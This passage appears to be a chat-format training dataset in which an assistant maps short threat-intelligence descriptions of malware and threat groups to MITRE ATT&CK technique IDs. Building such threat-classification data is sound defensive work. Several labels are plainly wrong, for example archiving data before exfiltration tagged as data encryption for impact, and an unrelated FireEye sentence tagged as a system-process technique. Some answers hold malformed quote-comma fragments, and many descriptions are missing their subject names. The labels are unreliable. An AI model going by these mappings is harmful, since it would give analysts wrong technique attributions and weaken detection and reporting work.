                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD has the ability to list open windows on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With DCShadow, attackers no longer have to replicate data, but can register new domain controllers in the targeted infrastructure to inject backdoor changes in AD objects, or alter existing ones by replacing the attributes’ values."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has downloaded additional malware, including by using ."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We also noticed that the actors reused the VBS decode function published by Motobit. Figure 4 shows the comparison between the base64 function used in the macro code and the VBS base64 decoder function published by Motobit"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has compromised legitimate domains, including those hosted in the US and Italy, for C2."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the OS version and computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects a list of install programs and services on the system’s machine."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NavRAT creates a Registry key to ensure a file gets executed upon reboot in order to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware uses Caracachs encryption to encrypt C2 payloads."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prikormka contains a module that captures screenshots of the victim's desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the connection to the C2 server is successful, the script parses the output and invokes it using IEX. The script sleeps for a random number of seconds between 60 and 100 after each attempt to reach the C2. The GET requests will be parsed by LitePower and invoked using PowerShell’s IEX function"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba can use the function \"GetIpNetTable\" to recover the last connections to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The autonomous system name of the IP shows that the allocation is controlled by Serverius Holding B.V., which is an autonomous system name we have previously seen associated with the OilRig group"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to execute the additional modules, the malware uses the process hollowing technique for hiding the malicious payload inside an allowlisted process, such as svchost.exe. The payloads are stored encrypted in the filesystem and decrypted in the memory as they are executed"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In most cases, UNC2165 has stolen data from its victims to use as leverage for extortion after it has deployed ransomware across an environment. In intrusions where the data exfiltration method could be identified, there is evidence to suggest the group used either Rclone or MEGASync to transfer data from the victims' environments prior to encryption. The Rclone utility is used by many financially motivated actors to synchronize sensitive files with cloud storage providers, and MEGASync synchronizes data to the MEGA cloud hosting service."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns that encourage engagement from the target audience. These emails may contain a malicious link or file that provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 collected the victim's username and executed the \"whoami\" command on the victim's machine. APT32 executed shellcode to collect the username on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used the Registry to store encrypted payloads."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN can get a list of the processes and running tasks on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group’s arsenal at that point included multiple Trojans and tools for Windows and macOS. In 2015, the actors started to expand their espionage efforts from PCs to mobile devices using the spyware called MobileOrder, which focused on compromising Android devices. Based on the code similarity, shared infrastructure and victimology, we conclude that the new wave of attacks belongs to the same threat actor and that the group continues to deploy and develop MobileOrder malware until this day. In addition to clear code overlaps, we observed multiple overlaps in the infrastructure between the new samples and the old MobileOrder malware variant, as well as multiple variants of Windows Psylo Trojan previously attributed to Scarlet Mimic, that interact with the same malicious domains as the mobile malware."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can enumerate processes on a target system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner has loaded coinmining software onto systems to mine for Koto cryptocurrency."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PingPull can encode C2 traffic with Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM can obtain the computer name from the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Regularly, the service checks if a user is logged, by checking if Explorer is running. Once explorer.exe is running, the service configures the environment and executes the C2 contact module: winprint32.exe"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware uses cmd.exe to execute commands on victims."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI can collect the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell has the ability to copy files on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The string is formatted as “<domain list>|<minimum query size>|<maximum query size>|<hasGarbage>|<sleepPerRequest>|<maximum requests>|<query types>|<hibridMode>|<current query mode>”   ^slp Sets the sleep and jitter values   ^exit Exits the Trojan    Table 5 Commands available within the C# variant of RogueRobin Using Google Drive for C2 A command that was not available in the original PowerShell variant of RogueRobin but is available with the new C# variant is the x_mode"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CSPY Downloader has been delivered via malicious documents with embedded macros."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While we have not been able to obtain a secondary payload from the Unicorn generated PowerShell script, we believe that this group uses the script to deliver Metasploit’s Meterpreter as a potential payload as well"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can use \"CreateIoCompletionPort()\", \"PostQueuedCompletionStatus()\", and \"GetQueuedCompletionPort()\" to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. Conti can use “Windows Restart Manager” to ensure files are unlocked and open for encryption."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has used cmd.exe to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN saves each collected file with the automatically generated format {0:dd-MM-yyyy}.txt ."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception’s malware is modular and the attackers will load plugins based on requirements for each attack. The group has used a range of plugins in recent attacks, some of which are improved versions of plugins used in 2014, while others were previously unseen"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During privilege escalation, freely available tools such as Mimikatz and Ncrack have been observed, in addition to legitimate tools such as Windows Credential Editor and ProcDump"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used tools to take screenshots from victims."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Heyoka Backdoor can use DNS tunneling for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can inject code into multiple processes on infected endpoints."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SHA256 hash is then base64 encoded, which results in an encoded string of EfZrVfPSQwNiHl75VlsCpXbMWLxfh4nK6Ww9QABkuQ4=, of which the first 24 characters are used as the 3DES key"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captures screenshots of the victim’s screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dropper creates VBS scripts on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader deobfuscates its code."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deletes files using DeleteFileW API call."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If we look historically, BelialDemon has been involved in the development of malware loaders. BelialDemon is considered the primary developer of TriumphLoader, a loader previously posted about on several forums, and has experience with selling this type of malware."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has used rundll32.exe to load malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin has used Google Drive as a Command and Control channel."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has used trojanized Microsoft Word documents sent via email, which prompted the victim to enable macros."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SPACESHIP achieves persistence by creating a shortcut in the current user's Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA()."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has compressed and encrypted data into password-protected RAR archives prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can upload files to the victim's machine for operations."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanHaiShu modifies the %regrun% Registry to point itself to an autostart mechanism."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to use the open source libraries XZip/Xunzip and zlib to compress files."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy constantly attempts to download and execute files from the remote C2, including GoldenSpy itself if not found on the system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can record screen content in AVI format."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor by making a connection using a HTTP POST."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs its core DLL file using rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise exfiltrates data using cookie values that are Base64-encoded."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks for anti-virus, forensics, and virtualization software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Further collaboration between FireEye as a Service (FaaS), Mandiant and FireEye iSIGHT intelligence uncovered additional victims worldwide, a new suite of tools and novel techniques"
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data Exfiltration The second module Irdsnhrxxxfery98.~ is responsible for a vast amount of information stealing, and is able to collect information through hooking, clipboard usage, and monitoring the keystate"
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Change file owner and group. This utility is used by malware to change the user ID and/or the group ID of the specified files. This can lock other users’ out of access to the file, thus hampering removal or inspection. It may also be required in order to execute a file in certain, elevated context"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Invoke-PSImage can be used to embed a PowerShell script within the pixels of a PNG file."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has used contact forms on victim websites to generate phishing e-mails."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda's custom ORat tool uses a WMI event consumer to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"net user username \\password\" commands in Net can be used to create a local account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The HTTP mode is the same communication method used in variants of the malware from 2018. Although it uses the non-encrypted HTTP protocol to communicate with the C2 it manually encrypts the contents of the requests to hide data from packet inspection. The malware creates an AES session key and initial value (as detailed in Appendix C) which are base64 encoded, appended to each other with a \\n separator. Once appended, it is further encrypted with a hardcoded RSA public key and base64 encoded again and obfuscated before being sent to the C2 as the body of a POST request"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy scans the system and automatically collects files with the following extensions: .doc, .docx, ,.xls, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .jpeg, .bmp, .tiff, .kum, .tlg, .sbx, .cr, .hse, .hsf, and .lhz."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EKANS removes backups of Volume Shadow Copies to disable any restoration capabilities."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has delivered components for its ransomware attacks using MSI files, some of which have been executed from the command-line using \"msiexec\"."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
